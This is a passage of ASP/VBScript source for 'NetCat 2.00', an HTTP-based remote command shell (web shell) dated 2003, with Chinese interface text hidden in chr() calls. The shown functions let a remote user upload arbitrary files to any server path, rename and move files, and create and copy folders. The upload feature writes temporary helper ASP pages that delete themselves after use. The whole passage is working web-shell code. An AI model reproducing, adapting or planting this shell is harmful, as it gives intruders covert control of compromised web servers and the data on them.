   response.write "    1"+chr(-24158)+chr(-20271)+chr(-11091)+chr(-16204)+chr(-19004)+chr(-24144)+chr(-12808)+chr(-15641)+chr(-12352)+chr(-19007)+chr(-15448)+chr(-24143)+chr(-10755)+chr(-13635)+chr(-18236)+chr(-15365)+chr(-12630)+chr(-24144)+chr(-12808)+chr(-15641)+chr(-18487)+chr(-15448)+chr(-24143)+"<br>"
   response.write "    2"+chr(-24158)+chr(-12066)+chr(-18252)+chr(-15925)+chr(-11046)+"1.00"+chr(-20250)+chr(-10544)+chr(-19781)+chr(-15140)+chr(-18236)+chr(-19996)+chr(-10284)+chr(-13843)+chr(-15365)+chr(-10282)+chr(-19004)+chr(-19781)+chr(-10269)+"<br>"
   response.write "    3"+chr(-24158)+chr(-12858)+chr(-19466)+chr(-24144)+chr(-12808)+chr(-15641)+chr(-18487)+chr(-15448)+chr(-24143)+chr(-19206)+chr(-15637)+chr(-18224)+chr(-14146)+chr(-20250)+chr(-23636)+chr(-16439)+chr(-11564)+chr(-20271)+chr(-10284)+chr(-13843)+chr(-19206)+chr(-15637)+chr(-13075)+chr(-17197)+chr(-19011)+chr(-14620)+chr(-13317)+chr(-10755)+chr(-19549)+chr(-19004)+"ASP"+chr(-12604)+chr(-17154)+chr(-16145)+chr(-23636)+chr(-19806)+chr(-11046)+chr(-10755)+chr(-19549)+chr(-19004)+chr(-14359)+chr(-16394)+chr(-12350)+chr(-23636)+chr(-20037)+chr(-18224)+chr(-14146)+chr(-12604)+chr(-17154)+chr(-11584)+chr(-14149)+chr(-15140)+chr(-10755)+chr(-19549)+chr(-11061)+chr(-12080)+"<br><br>"
   response.write "1.00  "+chr(-23640)+"2002-11-9"+chr(-23639)+"<br>"
   response.write "    1"+chr(-24158)+chr(-15169)+chr(-15684)+chr(-17715)+chr(-12604)+chr(-17154)+chr(-19004)+chr(-6993)+chr(-16192)+chr(-18010)+chr(-15140)+chr(-23640)+chr(-17166)+chr(-10575)+chr(-16691)+chr(-12301)+chr(-18186)+chr(-12808)+chr(-15641)+chr(-20250)+chr(-19004)+"Explorer"+chr(-11589)+chr(-11783)+chr(-23639)+"<br>"
   response.write "    2"+chr(-24158)+"TYPE"+chr(-18010)+chr(-15140)+chr(-23636)+chr(-13588)+chr(-12380)+"DOS"+chr(-19004)+chr(-14861)+chr(-11311)+chr(-18756)+chr(-10582)+chr(-19008)+chr(-23636)+"TYPE"+chr(-13625)+chr(-15920)+chr(-19466)+chr(-12604)+chr(-17154)+chr(-15142)+chr(-14115)+chr(-19004)+chr(-15364)+chr(-15890)+"<br>"
   response.write "    3"+chr(-24158)+chr(-10505)+chr(-19214)+chr(-18010)+chr(-15140)+"--EDIT"+chr(-23636)+chr(-16439)+chr(-11564)+chr(-20000)+chr(-17235)+chr(-17715)+chr(-15920)+chr(-19466)+chr(-10568)+chr(-18776)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-19004)+chr(-12604)+chr(-17154)+chr(-15142)+chr(-14115)+chr(-23636)+chr(-10782)+chr(-11783)+chr(-11589)+chr(-16204)+chr(-23636)+chr(-16691)+chr(-16439)+chr(-11564)+chr(-12630)+chr(-10284)+chr(-13843)+chr(-14123)+chr(-17677)+chr(-19004)+chr(-13827)+chr(-17226)+chr(-13087)+chr(-18007)+chr(-15925)+chr(-19548)+chr(-14630)+chr(-17677)+chr(-15419)+"<br>"
  else
   response.write "<br><br><br><table border=0 width=100% cellspacing=0 cellpadding=0><tr><td width=30" & chr(37) & "> </td><td width=60" & chr(37) & " id=site>"
   response.write "<p style=font-size:50pt><b><a href=" & SelfName() & "?cmd=ver&par=ABOUTNETCAT title=Update Infomation>NetCat2.00</a></b></p><br>"
   response.write chr(-12808)+chr(-15641)+chr(-18487)+chr(-15448)+"2.00<br>"
   response.write chr(-17415)+chr(-11302)+"HTTP"+chr(-19004)+chr(-11082)+chr(-19508)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-15364)+chr(-15890)+chr(-12080)+chr(-16926)+chr(-13619)+chr(-12830)+chr(-16441)+"<br>The Command Shell of Remote Server Based On HTTP<br><br>"
   response.write chr(-19508)+chr(-12046)+chr(-20000)+chr(-12108)+chr(-23622)+"Duclika<br>"
   response.write chr(-18969)+chr(-10285)+chr(-11318)+chr(-17154)+chr(-23622)+"<a href=mailto:Duclika@hotmail.com title=Duclika@hotmail.com target=_blank>Duclika@hotmail.com</a><br>"
   response.write "OICQ"+chr(-17723)+chr(-15637)+chr(-23622)+"5183219  58858309<br>"
   response.write chr(-10505)+chr(-11597)+chr(-18984)+chr(-10569)+chr(-23622)+"<a href=http://www.micromai.com/ title=[Veranda Studio] target=_blank>http://www.micromai.com/</a><br>"
   response.write chr(-18180)+chr(-12094)+chr(-13647)+chr(-17180)+chr(-23622)+"2003"+chr(-15126)+"5"+chr(-11070)+"23"+chr(-14123)+"<br><br>"
   response.write chr(-10334)+chr(-11550)+chr(-23636)+chr(-20034)+chr(-19508)+chr(-12046)+chr(-10565)+chr(-13622)+chr(-11325)+chr(-11302)+chr(-11865)+chr(-12368)+chr(-11325)+chr(-12866)+chr(-23636)+chr(-19781)+chr(-19005)+chr(-16133)+chr(-11325)+chr(-20034)+chr(-19508)+chr(-12046)+chr(-18489)+chr(-18520)+chr(-14101)+chr(-14378)+chr(-13317)+chr(-14133)+chr(-17210)+chr(-13341)+chr(-17414)+chr(-23636)+chr(-11028)+chr(-19511)+chr(-11589)+chr(-14384)+chr(-13328)+chr(-13657)+chr(-11564)+chr(-17232)+chr(-11589)+chr(-14384)+chr(-11024)+chr(-14130)+chr(-16647)+chr(-11285)+chr(-10249)+chr(-10785)+chr(-12578)+chr(-17960)+chr(-24157)+"<br><br>"
   response.write "Copyright &copy [Veranda Studio] Duclika 2003-05-23"
   response.write "</td><td width=10" & chr(37) & "> </td></tr></table><br><br><br>"
end if
response.write "<p align=center><a href=javascript:history.back()>"+chr(-17677)+chr(-12853)+"</a></p>"
End Function
'==========================================================================
Function fUPFILE()
Dim uploadclassencodestr,uploadencodestr
dim upfilefso,upfiletextstream
dim uptarfile,savetarfile
uptarfile=trim(request("par"))
pcmdhostinfo

if uptarfile="/?" or uptarfile="-?" or uptarfile="?" then
   response.write "UPFILE"+chr(-15364)+chr(-15890)+"<br><br>"+chr(-18010)+chr(-15140)+chr(-23622)+chr(-13873)+chr(-19285)+chr(-20034)+chr(-18984)+chr(-1
2604)+chr(-17154)+chr(-19011)+chr(-15169)+chr(-19990)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-10568)+chr(-18776)+chr(-19004)+chr(-12613)+chr(-10557)+chr(-13873)+"<br><br>"
   response.write chr(-18191)+chr(-13635)+chr(-23622) & SelfName() & "?cmd=upfile&par=["+chr(-19762)+chr(-13571)+"]<br><br>"+chr(-19762)+chr(-13571)+chr(-23622)+chr(-13873)+chr(-19285)+chr(-19011)+chr(-19004)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-19004)+chr(-15169)+chr(-19990)+chr(-12613)+chr(-10557)+chr(-17422)+chr(-12604)+chr(-17154)+chr(-15365)
   response.write "<p align=center><a href=javascript:history.back()>"+chr(-17677)+chr(-12853)+"</a></p>"
   exit function
end if

set upfilefso=server.createobject("Scripting.FileSystemObject")

if instr(uptarfile,"*")>0 or instr(uptarfile,"?")>0 or instr(uptarfile,"|")>0 then
   response.write chr(-13873)+chr(-19285)+chr(-12604)+chr(-17154)+chr(-13657)+chr(-20260)+chr(-23636)+chr(-13873)+chr(-19285)+chr(-15169)+chr(-19990)+chr(-12613)+chr(-10557)+chr(-17422)+chr(-10785)+chr(-12604)+chr(-17154)+chr(-15365)+chr(-17748)+chr(-11312)+chr(-18489)+chr(-18520)+chr(-10282)+chr(-18437)
   exit function
  else
   if uptarfile="" then
      savetarfile=AppPath() & "|SELFTNAME|"
     else
      uptarfile=vir2abs(uptarfile)
      if upfilefso.FolderExists(uptarfile) then
         if right(uptarfile,1)<>"\" then
            uptarfile=uptarfile & "\"
         end if
         savetarfile=uptarfile & "|SELFTNAME|"
        else
         if instr(mid(uptarfile,instrrev(uptarfile,"\")),".")=0 then
            response.write chr(-13873)+chr(-19285)+chr(-12604)+chr(-17154)+chr(-13657)+chr(-20260)+chr(-23636)+chr(-15429)+chr(-11312)+chr(-10568)+chr(-18776)+chr(-13873)+chr(-19285)+chr(-15169)+chr(-19990)+chr(-12613)+chr(-10557)+chr(-17422)+chr(-10785)+chr(-12604)+chr(-17154)+chr(-15365)
            exit function
           else
            savetarfile=uptarfile
         end if
      end if
    end if
end if
uploadclassencodestr="<SCRIPT RUNAT=SERVER LANGUAGE=VBSCRIPT>{_}Server.ScriptTimeOut=1800{_}dim upfile_5xSoft_Stream{_}Class upload_5xSoft{_}dim Form,File,Version{_}Private Sub Class_Initialize {_}dim iStart,iFileNameStart,iFileNameEnd,iEnd,vbEnter,iFormStart,iFormEnd,theFile{_}dim strDiv,mFormName,mFormValue,mFileName,mFileSize,mFilePath,iDivLen,mStr{_}Version={~}NetCat UpFile{~}{_}if Request.TotalBytes<1 then Exit Sub{_}set Form=CreateObject({~}Scripting.Dictionary{~}){_}set File=CreateObject({~}Scripting.Dictionary{~}){_}set upfile_5xSoft_Stream=CreateObject({~}Adodb.Stream{~}){_}upfile_5xSoft_Stream.mode=3{_}upfile_5xSoft_Stream.type=1{_}upfile_5xSoft_Stream.open{_}upfile_5xSoft_Stream.write Request.BinaryRead(Request.TotalBytes){_}vbEnter=Chr(13)&Chr(10){_}iDivLen=inString(1,vbEnter)+1{_}strDiv=subString(1,iDivLen){_}iFormStart=iDivLen{_}iFormEnd=inString(iformStart,strDiv)-1{_}while iFormStart < iFormEnd{_}iStart=inString(iFormStart,{~}name={~}{~}{~}){_}iEnd=inString(iStart+6,{~}{~}{~}{~}){_}mFormName=subString(iStart+6,iEnd-iStart-6){_}iFileNameStart=inString(iEnd+1,{~}filename={~}{~}{~}){_}if iFileNameStart>0 and iFileNameStart<iFormEnd then{_}   iFileNameEnd=inString(iFileNameStart+10,{~}{~}{~}{~}){_}   mFileName=subString(iFileNameStart+10,iFileNameEnd-iFileNameStart-10){_}   iStart=inString(iFileNameEnd+1,vbEnter&vbEnter){_}   iEnd=inString(iStart+4,vbEnter&strDiv){_}   if iEnd>iStart then{_}    mFileSize=iEnd-iStart-4{_}   else{_}    mFileSize=0{_}   end if{_}   set theFile=new FileInfo{_}   theFile.FileName=getFileName(mFileName){_}   theFile.FilePath=getFilePath(mFileName){_}   theFile.FileSize=mFileSize{_}   theFile.FileStart=iStart+4{_}   theFile.FormName=FormName{_}   file.add mFormName,theFile{_}  else{_}   iStart=inString(iEnd+1,vbEnter&vbEnter){_}   iEnd=inString(iStart+4,vbEnter&strDiv){_}{_}   if iEnd>iStart then{_}    mFormValue=subString(iStart+4,iEnd-iStart-4){_}   else{_}    mFormValue={~}{~} {_}   end if{_}   form.Add mFormName,mFormValue{_}  end if{_}{_}  iFormStart=iformEnd+iDivLen{_}  iFormEnd=inString(iformStart,strDiv)-1{_}wend{_}End Sub{_}Private Function subString(theStart,theLen){_} dim i,c,stemp{_} upfile_5xSoft_Stream.Position=theStart-1{_} stemp={~}{~}{_} for i=1 to theLen{_}   if upfile_5xSoft_Stream.EOS then Exit for{_}   c=ascB(upfile_5xSoft_Stream.Read(1)){_}   If c > 127 Then{_}    if upfile_5xSoft_Stream.EOS then Exit for{_}    stemp=stemp&Chr(AscW(ChrB(AscB(upfile_5xSoft_Stream.Read(1)))&ChrB(c))){_}    i=i+1{_}   else{_}    stemp=stemp&Chr(c){_}   End If{_} Next{_} subString=stemp{_}End function{_}{_}Private Function inString(theStart,varStr){_} dim i,j,bt,theLen,str{_} InString=0{_} Str=toByte(varStr){_} theLen=LenB(Str){_} for i=theStart to upfile_5xSoft_Stream.Size-theLen{_}   if i>upfile_5xSoft_Stream.size then exit Function{_}   upfile_5xSoft_Stream.Position=i-1{_}   if AscB(upfile_5xSoft_Stream.Read(1))=AscB(midB(Str,1)) then{_}    InString=i{_}    for j=2 to theLen{_}      if upfile_5xSoft_Stream.EOS then {_}        inString=0{_}        Exit for{_}      end if{_}      if AscB(upfile_5xSoft_Stream.Read(1))<>AscB(MidB(Str,j,1)) then{_}        InString=0{_}        Exit For{_}      end if{_}    next{_}    if InString<>0 then Exit Function{_}   end if{_} next{_}End Function{_}{_}Private Sub Class_Terminate  {_}  form.RemoveAll{_}  file.RemoveAll{_}  set form=nothing{_}  set file=nothing{_}  upfile_
5xSoft_Stream.close{_}  set upfile_5xSoft_Stream=nothing{_}End Sub{_}   {_} {_} Private function GetFilePath(FullPath){_}  If FullPath <> {~}{~} Then{_}   GetFilePath = left(FullPath,InStrRev(FullPath, {~}\{~})){_}  Else{_}   GetFilePath = {~}{~}{_}  End If{_} End  function{_} {_} Private function GetFileName(FullPath){_}  If FullPath <> {~}{~} Then{_}   GetFileName = mid(FullPath,InStrRev(FullPath, {~}\{~})+1){_}  Else{_}   GetFileName = {~}{~}{_}  End If{_} End  function{_}{_} Private function toByte(Str){_}   dim i,iCode,c,iLow,iHigh{_}   toByte={~}{~}{_}   For i=1 To Len(Str){_}   c=mid(Str,i,1){_}   iCode =Asc(c){_}   If iCode<0 Then iCode = iCode + 65535{_}   If iCode>255 Then{_}     iLow = Left(Hex(Asc(c)),2){_}     iHigh =Right(Hex(Asc(c)),2){_}     toByte = toByte & chrB({~}&H{~}&iLow) & chrB({~}&H{~}&iHigh){_}   Else{_}     toByte = toByte & chrB(AscB(c)){_}   End If{_}   Next{_} End function{_}End Class{_}Class FileInfo{_}  dim FormName,FileName,FilePath,FileSize,FileStart{_}  Private Sub Class_Initialize {_}    FileName = {~}{~}{_}    FilePath = {~}{~}{_}    FileSize = 0{_}    FileStart= 0{_}    FormName = {~}{~}{_}  End Sub{_}Public function SaveAs(FullPath){_}    dim dr,ErrorChar,i{_}    SaveAs=1{_}    if trim(fullpath)={~}{~} or FileSize=0 or FileStart=0 or FileName={~}{~} then exit function{_}    if FileStart=0 or right(fullpath,1)={~}/{~} then exit function{_}    set dr=CreateObject({~}Adodb.Stream{~}){_}    dr.Mode=3{_}    dr.Type=1{_}    dr.Open{_}    upfile_5xSoft_Stream.position=FileStart-1{_}    upfile_5xSoft_Stream.copyto dr,FileSize{_}    dr.SaveToFile FullPath,2{_}    dr.Close{_}    set dr=nothing {_}    SaveAs=0{_}  end function{_}End Class{_}</SCRIPT>"
uploadclassencodestr = Replace(uploadclassencodestr, "{~}", Chr(34))
uploadclassencodestr = Replace(uploadclassencodestr, "{_}", vbCrLf)
if not upfilefso.FileExists(AppPath() & "~netcatupfileclass.asp") then
   set upfiletextstream=upfilefso.opentextfile(AppPath() & "~netcatupfileclass.asp",2,true)
   upfiletextstream.write uploadclassencodestr
   upfiletextstream.close
   set upfiletextstream=nothing
end if
uploadencodestr="<html><head><meta http-equiv={~}refresh{~} content={~}5; URL=" & SelfName() & "?cmd=dir&par=" & mid(savetarfile,1,instrrev(savetarfile,"\")) & "{~}>{_}<title>NetCat "+chr(-12808)+chr(-15641)+chr(-18487)+chr(-15448)+" Version2.00</title>{_}<style>{_}A:link{TEXT-DECORATION: none}{_}A:visited{TEXT-DECORATION: none}{_}A:hover{LEFT: 1px; BORDER-BOTTOM: #00FFFF 1px dotted; POSITION: relative; TOP: 1px; TEXT-DECORATION: none}{_}#site A:link{color:#FFFFFF; TEXT-DECORATION: none}{_}#site A:visited{color:#FFFFFF; TEXT-DECORATION: none}{_}#site A:hover{color:#00FFFF; LEFT: 1px; BORDER-BOTTOM: #00FFFF 1px dotted; POSITION: relative; TOP: 1px; TEXT-DECORATION: none}{_}BODY{font-size: 12pt}{_}TD{font-size: 12pt}{_}.catbutton{BACKGROUND-COLOR: #ffffff; BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; HEIGHT: 18px; WIDTH: 120px}{_}textarea{BACKGROUND-COLOR: #ececec; BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; COLOR: #000000; FONT-SIZE: 9pt}{_}.catinputtext{BACKGROUND-COLOR: #ffffff; BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; HEIGHT: 18px; WIDTH: 500px}{_}</style></head>{_}<body bgcolor=#000000 text=#FFFFFF link=#00FFFF vlink=#00FFFF>{_}{+}{_}response.write {~}<table border=0 width=100% cellspacing=0 cellpadding=0><tr><td id=site>{~}{_}response.write {~}<a href=" & SelfName() & "?cmd=ver title=Version>NetCat "+chr(-12808)+chr(-15641)+chr(-18487)+chr(-15448)+" Version 2.00</a> &copy [<a href=http://www.micromai.com/ title=http://www.micromai.com/ target=_blank>Veranda Studio</a>] <a href=mailto:Duclika@hotmail.com title=Duclika@hotmail.com target=_blank>Duclika</a> Updated 2003-05-23<br>{~}{_}response.write {~}"+chr(-18434)+chr(-12559)+chr(-14601)+chr(-23622)+"{~} & Request.ServerVariables({~}SERVER_NAME{~}) & {~}[{~} & Request.ServerVariables({~}LOCAL_ADDR{~}) & {~}]<br>{~}{_}response.write {~}"+chr(-16435)+chr(-17497)+chr(-18741)+chr(-23622)+"{~} & Request.ServerVariables({~}REMOTE_HOST{~}) & {~}[{~} & Request.ServerVariables({~}REMOTE_ADDR{~}) & {~}]<br>{~}{_}response.write {~}"+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18493)+chr(-12598)+chr(-13647)+chr(-17180)+chr(-23622)+"{~} & now() & {~}<br><br>{~}{_}response.write {~}</td></tr></table>{~}{_}{-}<!--#include FILE={~}~netcatupfileclass.asp{~}-->{+}{_}Server.ScriptTimeOut=1800{_}dim TarFile,upload,file{_}set upload=new upload_5xsoft{_}set file=upload.file({~}file1{~}){_}TarFile={~}" & savetarfile & "{~}{_}TarFile=replace(TarFile,{~}|SELFTNAME|{~},file.FileName){_}if file.fileSize>0 then{_}    file.saveAs TarFile{_}    response.write {~}"+chr(-12604)+chr(-17154)+chr(-13873)+chr(-19285)+chr(-19511)+chr(-18010)+chr(-23647)+"<br><br>"+chr(-20034)+chr(-18984)+chr(-12604)+chr(-17154)+chr(-23622)+"{~} & file.FilePath & file.FileName & {~}<br><br>{~}{_}    response.write {~}"+chr(-15169)+chr(-19990)+chr(-12604)+chr(-17154)+chr(-23622)+"{~} & TarFile & {~}<br><br>{~}{_}    response.write {~}"+chr(-12604)+chr(-17154)+chr(-19213)+chr(-12127)+chr(-23622)+"{~} & file.FileSize & {~}"
+chr(-10282)+chr(-16934)+"{~}{_}    response.write {~}<p align=center><a href=" & SelfName() & "?cmd=dir&par=" & mid(savetarfile,1,instrrev(savetarfile,"\")) & ">"+chr(-18507)+chr(-17448)+"</a></p>{~}{_}   else{_}    response.write {~}"+chr(-12604)+chr(-17154)+chr(-13873)+chr(-19285)+chr(-13657)+chr(-20260)+"!"+chr(-16439)+chr(-15140)+chr(-13657)+chr(-20260)+chr(-11091)+chr(-11534)+chr(-23622)+chr(-12604)+chr(-17154)+chr(-19213)+chr(-12127)+chr(-12630)+"0"+chr(-24158)+chr(-15169)+chr(-19990)+chr(-12604)+chr(-17154)+chr(-15365)+chr(-19514)+chr(-19219)+chr(-12557)+chr(-17422)+chr(-10785)+chr(-15429)+chr(-11312)+chr(-14168)+chr(-12322)+chr(-24157)+"{~}{_}end if{_}set file=nothing{_}set upload=nothing{_}{_}dim upfilefso,AppPath{_}AppPath=left(Request.ServerVariables({~}PATH_TRANSLATED{~}),instrrev(Request.ServerVariables({~}PATH_TRANSLATED{~}),{~}\{~})){_}set upfilefso=server.createobject({~}Scripting.FileSystemObject{~}){_}if upfilefso.FileExists(AppPath & {~}~netcatupfileclass.asp{~}) then{_}    upfilefso.DeleteFile AppPath & {~}~netcatupfileclass.asp{~}{_}end if{_}if upfilefso.FileExists(AppPath & {~}~netcatupfile.asp{~}) then{_}    upfilefso.DeleteFile AppPath & {~}~netcatupfile.asp{~}{_}end if{_}set upfilefso=nothing{_}{-}{_}</body></html>{_}"
uploadencodestr = Replace(uploadencodestr, "{~}", Chr(34))
uploadencodestr = Replace(uploadencodestr, "{+}", chr(60) & chr(37))
uploadencodestr = Replace(uploadencodestr, "{-}", chr(37) & chr(62))
uploadencodestr = Replace(uploadencodestr, "{_}", vbCrLf)
if not upfilefso.FileExists(AppPath() & "~netcatupfile.asp") then
   set upfiletextstream=upfilefso.opentextfile(AppPath() & "~netcatupfile.asp",2,true)
   upfiletextstream.write uploadencodestr
   upfiletextstream.close
   set upfiletextstream=nothing
end if
response.write chr(-20034)+chr(-13873)+chr(-19285)+chr(-18010)+chr(-15140)+chr(-17717)+chr(-12092)+chr(-17220)+chr(-13579)+chr(-13625)+chr(-11061)+chr(-11325)+chr(-15925)+"ADODB.Stream"+chr(-18732)+chr(-12301)+chr(-19004)+chr(-12578)+chr(-10263)+chr(-17154)+chr(-13873)+chr(-19285)+chr(-17220)+chr(-13579)+chr(-23636)+chr(-13873)+chr(-19285)+chr(-19004)+chr(-13351)+chr(-18744)+chr(-13604)+chr(-12322)+chr(-11302)+chr(-12808)+chr(-15641)+chr(-19208)+chr(-16403)+chr(-11564)+chr(-17232)+chr(-13873)+chr(-19285)+chr(-19004)+chr(-12604)+chr(-17154)+chr(-19004)+chr(-19213)+chr(-12127)+chr(-23636)+chr(-14105)+chr(-17925)+chr(-12604)+chr(-17154)+chr(-17923)+chr(-11302)+chr(-19213)+chr(-17422)+chr(-10785)+chr(-12808)+chr(-15641)+chr(-13141)+chr(-15619)+chr(-23636)+chr(-17700)+chr(-16439)+chr(-15140)+chr(-17439)+chr(-11028)+chr(-19511)+chr(-13873)+chr(-19285)+chr(-19540)+chr(-13647)+chr(-18696)+chr(-13657)+chr(-20260)+"<br><br>"+chr(-10334)+chr(-11550)+chr(-23636)+chr(-14105)+chr(-17925)+chr(-15169)+chr(-19990)+chr(-12604)+chr(-17154)+chr(-11567)+chr(-16723)+chr(-19226)+chr(-11046)+chr(-23636)+chr(-13873)+chr(-19285)+chr(-12604)+chr(-17154)+chr(-16981)+chr(-17439)+chr(-13082)+chr(-17477)+chr(-11091)+chr(-16204)+chr(-19004)+chr(-12604)+chr(-17154)+"<br><br>"
savetarfile=replace(savetarfile,"|SELFTNAME|","<"+chr(-20034)+chr(-18984)+chr(-12604)+chr(-17154)+chr(-19004)+chr(-12604)+chr(-17154)+chr(-15365)+"><br><br>")
response.write chr(-15169)+chr(-19990)+chr(-12604)+chr(-17154)+chr(-23622) & savetarfile & "<br><br>"
response.write chr(-14357)+chr(-11871)+chr(-11023)+chr(-20034)+chr(-18984)+chr(-12056)+chr(-11606)+chr(-13873)+chr(-19285)+chr(-19004)+chr(-12604)+chr(-17154)+"<br><form method=post action=~netcatupfile.asp enctype=multipart/form-data><input type=file name=file1 class=catinputtext> <input type=submit name=submit value="+chr(-13873)+chr(-19285)+" class=catbutton></form>"
set upfilefso=nothing
response.write "<p align=center><a href=javascript:history.back()>"+chr(-17677)+chr(-12853)+"</a></p>"
End Function
'========================================================================
Function fREN()
dim oldfile
dim newfile
dim renfileobj
dim renfso
oldfile=trim(request("par1"))
newfile=trim(request("par2"))
pcmdhostinfo

if oldfile="?" or oldfile="/?" or oldfile="-?" or newfile="?" or newfile="/?" or newfile="-?" or trim(oldfile)="" or trim(newfile)="" then
response.write "REN"+chr(-15364)+chr(-15890)+"<br><br>"+chr(-18010)+chr(-15140)+chr(-23622)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-12604)+chr(-17154)+chr(-19004)+chr(-10536)+chr(-15364)+chr(-15365)+"<br><br>"
response.write chr(-18191)+chr(-13635)+chr(-23622) & SelfName() & "?cmd=ren&par1=<"+chr(-19762)+chr(-13571)+"1>&par2=<"+chr(-19762)+chr(-13571)+"2><br><br>"+chr(-19762)+chr(-13571)+"1"+chr(-23622)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-19004)+chr(-16648)+chr(-18732)+chr(-17422)+chr(-12320)+chr(-18732)+chr(-19004)+chr(-11091)+chr(-12604)+chr(-17154)+chr(-15365)+"<br>"+chr(-19762)+chr(-13571)+"2"+chr(-23622)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-19004)+chr(-16648)+chr(-18732)+chr(-17422)+chr(-12320)+chr(-18732)+chr(-19004)+chr(-12094)+chr(-12604)+chr(-17154)+chr(-15365)
response.write "<p align=center><a href=javascript:history.back()>"+chr(-17677)+chr(-12853)+"</a></p>"
exit function
end if

set renfso=server.createobject("Scripting.FileSystemObject")

oldfile=vir2abs(oldfile)
newfile=vir2abs(newfile)
if instr(oldfile,"*")>0 or instr(oldfile,"?")>0 or instr(oldfile,"|")>0 or instr(oldfile,">")>0 or instr(oldfile,"<")>0 then
   response.write chr(-10536)+chr(-15364)+chr(-15365)+chr(-19219)+chr(-12557)+chr(-23622)+chr(-10568)+chr(-18776)+chr(-19004)+chr(-11091)+chr(-12604)+chr(-17154)+chr(-15365)+chr(-19514)+chr(-17748)+chr(-11312)+chr(-18489)+chr(-18520)+chr(-19004)+chr(-10282)+chr(-18437)
   exit function
end if
if instr(newfile,"*")>0 or instr(newfile,"?")>0 or instr(newfile,"|")>0 or instr(newfile,">")>0 or instr(newfile,"<")>0 then
   response.write chr(-10536)+chr(-15364)+chr(-15365)+chr(-19219)+chr(-12557)+chr(-23622)+chr(-10568)+chr(-18776)+chr(-19004)+chr(-12094)+chr(-12604)+chr(-17154)+chr(-15365)+chr(-19514)+chr(-17748)+chr(-11312)+chr(-18489)+chr(-18520)+chr(-19004)+chr(-10282)+chr(-18437)
   exit function
end if
if renfso.FileExists(oldfile) then
    if renfso.FileExists(newfile) then
        response.write chr(-10536)+chr(-15364)+chr(-15365)+chr(-19219)+chr(-12557)+chr(-23622) & newfile & " "+chr(-12604)+chr(-17154)+chr(-11567)+chr(-16723)+chr(-19226)+chr(-11046)+chr(-23647)
        exit function
      else
        renfso.MoveFile oldfile,newfile
        response.write chr(-11084)+chr(-12604)+chr(-17154)+" "&n
bsp;& oldfile & "<br>"+chr(-11567)+chr(-16723)+chr(-10536)+chr(-15364)+chr(-15365)+chr(-12630)+" " & newfile
    end if
   else
    response.write chr(-10536)+chr(-15364)+chr(-15365)+chr(-19219)+chr(-12557)+chr(-23622)+chr(-11091)+chr(-12604)+chr(-17154)+chr(-19781)+chr(-19226)+chr(-11046)+chr(-23647)
end if
set renfso=nothing
response.write "<p align=center><a href=javascript:history.back()>"+chr(-17677)+chr(-12853)+"</a></p>"
End Function
'========================================================================
Function fDIRMAKE()
dim newdir
dim newdirfso
newdir=trim(request("par"))
pcmdhostinfo

if newdir="?" or newdir="/?" or newdir="-?" or newdir="" then
response.write "DIRMAKE"+chr(-15364)+chr(-15890)+"<br><br>"+chr(-18010)+chr(-15140)+chr(-23622)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-12094)+chr(-16984)+chr(-15169)+chr(-15684)+"<br><br>"
response.write chr(-18191)+chr(-13635)+chr(-23622) & SelfName() & "?cmd=dirmake&par=<"+chr(-19762)+chr(-13571)+"><br><br>"+chr(-19762)+chr(-13571)+chr(-23622)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-19004)+chr(-12056)+chr(-11606)+chr(-12094)+chr(-16984)+chr(-19004)+chr(-16648)+chr(-18732)+chr(-17422)+chr(-12320)+chr(-18732)+chr(-19004)+chr(-15169)+chr(-15684)+chr(-15365)
response.write "<p align=center><a href=javascript:history.back()>"+chr(-17677)+chr(-12853)+"</a></p>"
exit function
end if

newdir=vir2abs(newdir)
if instr(newdir,"*")>0 or instr(newdir,"?")>0 or instr(newdir,"|")>0 or instr(newdir,"<")>0 or instr(newdir,">")>0 then
   response.write chr(-15169)+chr(-15684)+chr(-12094)+chr(-16984)+chr(-13657)+chr(-20260)+chr(-23622)+chr(-10568)+chr(-18776)+chr(-19004)+chr(-15169)+chr(-15684)+chr(-15365)+chr(-19514)+chr(-17748)+chr(-11312)+chr(-18489)+chr(-18520)+chr(-19004)+chr(-10282)+chr(-18437)
   exit function
end if 
set newdirfso=server.createobject("Scripting.FileSystemObject")
if newdirfso.FolderExists(newdir) then
   response.write chr(-15169)+chr(-15684)+chr(-12094)+chr(-16984)+chr(-13657)+chr(-20260)+chr(-23622) & newdir & " "+chr(-11567)+chr(-16723)+chr(-19226)+chr(-11046)
   exit function
  else
   newdirfso.CreateFolder newdir
   response.write chr(-15169)+chr(-15684)+chr(-12094)+chr(-16984)+chr(-19511)+chr(-18010)+chr(-23622) & newdir
end if
set newdirfso=nothing
response.write "<p align=center><a href=javascript:history.back()>"+chr(-17677)+chr(-12853)+"</a></p>"
End Function
'========================================================================
Function fDIRCOPY()
dim scrdir
dim tardir
dim copydirfso
scrdir=trim(request("par1"))
tardir=trim(request("par2"))
pcmdhostinfo

if scrdir="?" or scrdir="/?" or scrdir="-?" or tardir="?" or tardir="/?" or tardir="-?" or scrdir="" or tardir="" then
response.write "DIRCOPY"+chr(-15364)+chr(-15890)+"<br><br>"+chr(-18010)+chr(-15140)+chr(-23622)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-12604)+chr(-17154)+chr(-17200)+chr(-19004)+chr(-18252)+chr(-10554)+"<br><br>"
